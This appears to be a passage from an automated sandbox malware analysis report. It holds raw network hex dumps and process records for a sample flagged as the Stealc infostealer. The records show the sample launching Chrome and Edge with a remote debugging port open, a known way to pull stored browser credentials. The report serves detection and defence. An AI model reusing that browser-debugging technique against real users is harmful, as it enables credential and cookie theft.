2024-11-26 15:32:00 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-26 15:32:00 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-26 15:32:00 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-26 15:32:00 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-26 15:32:00 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-26 15:32:00 UTC	15060	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49944	23.44.133.54	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:59 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:32:00 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKEr Last-Modified: Fri, 08 Nov 2024 07:20:56 GMT X-Source-Length: 28967 X-Datacenter: westus X-ActivityId: 0c687dbe-b0dd-41e6-aef4-bf71ce1feb68 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 28967 Cache-Control: public, max-age=402517 Expires: Sun, 01 Dec 2024 07:20:37 GMT Date: Tue, 26 Nov 2024 15:32:00 GMT Connection: close
2024-11-26 15:32:00 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 15:32:00 UTC	13102	IN	Data Raw: 0f b7 75 bf 2c a1 5f 9b ab cc 37 4a 3e b6 a4 d3 db 46 a4 7f 75 9f e6 bb 87 f9 f4 f7 55 ea 7e 9f 14 ed 96 2a a6 9a f2 aa 29 ab f4 a2 27 e2 2d 7e 73 f9 ae e3 fe 6d 53 d9 a7 5c fd c7 f3 6d cb 6e a4 ff 00 ba af d4 fa fa 9e 5d b8 6a fd 7d d7 77 ab b7 4a 8b f7 c4 44 bc 5a be 41 e5 7a bc 77 78 a7 f4 2b d4 a3 e1 55 b9 96 63 ae 59 ce 75 76 63 1d ef 2f f3 5d ca 3f cd ff 00 97 3f 7b 1f ce 37 2f fd c8 fd 58 ff 00 68 af f0 b7 97 55 f5 6a de 34 fa 72 ae 2a fe d5 17 e7 78 ab fc 25 47 ec f7 a9 8f d3 d1 89 b7 5d 35 c7 c1 ad ba 3d 59 ee 63 3a b9 9e 8c 67 ee f6 cf 9c 6e 56 e3 57 f4 ff 00 b4 9f ce 77 0f 7f 9e 8f f6 9f 1a bf c2 7b e4 4d e8 d7 dd 6b ed 8d 4a 27 fb 15 43 cd 57 e1 af 32 8f d9 e9 57 6e 18 75 34 fe 15 61 6b 87 a3 3f cd 8c f3 79 98 ff 00 e7 f5 7e 83 f9 e7 97 74 eb Data Ascii: u,_7J>FuU~)'-~smS\mn]j}wJDZAzwx+UcYuvc/]??{7/XhUj4rx%G]5=Yc:gnVWw{MkJ'CW2Wnu4ak?y~t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49945	23.44.133.54	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:59 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:32:00 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=375366 Expires: Sat, 30 Nov 2024 23:48:06 GMT Date: Tue, 26 Nov 2024 15:32:00 GMT Connection: close
2024-11-26 15:32:00 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 15:32:00 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-26 15:32:00 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-26 15:32:00 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-26 15:32:00 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-26 15:32:00 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-26 15:32:00 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-26 15:32:00 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k

Target ID:	0
Start time:	10:31:08
Start date:	26/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x9f0000
File size:	1'821'184 bytes
MD5 hash:	E6360EBF4FBD15FD1BDF0088EB78CA22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2165070081.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2712124553.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2711220384.0000000000538000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:31:20
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:31:21
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2064,i,12329911643549209979,17985636195308993724,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:31:31
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:31:31
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
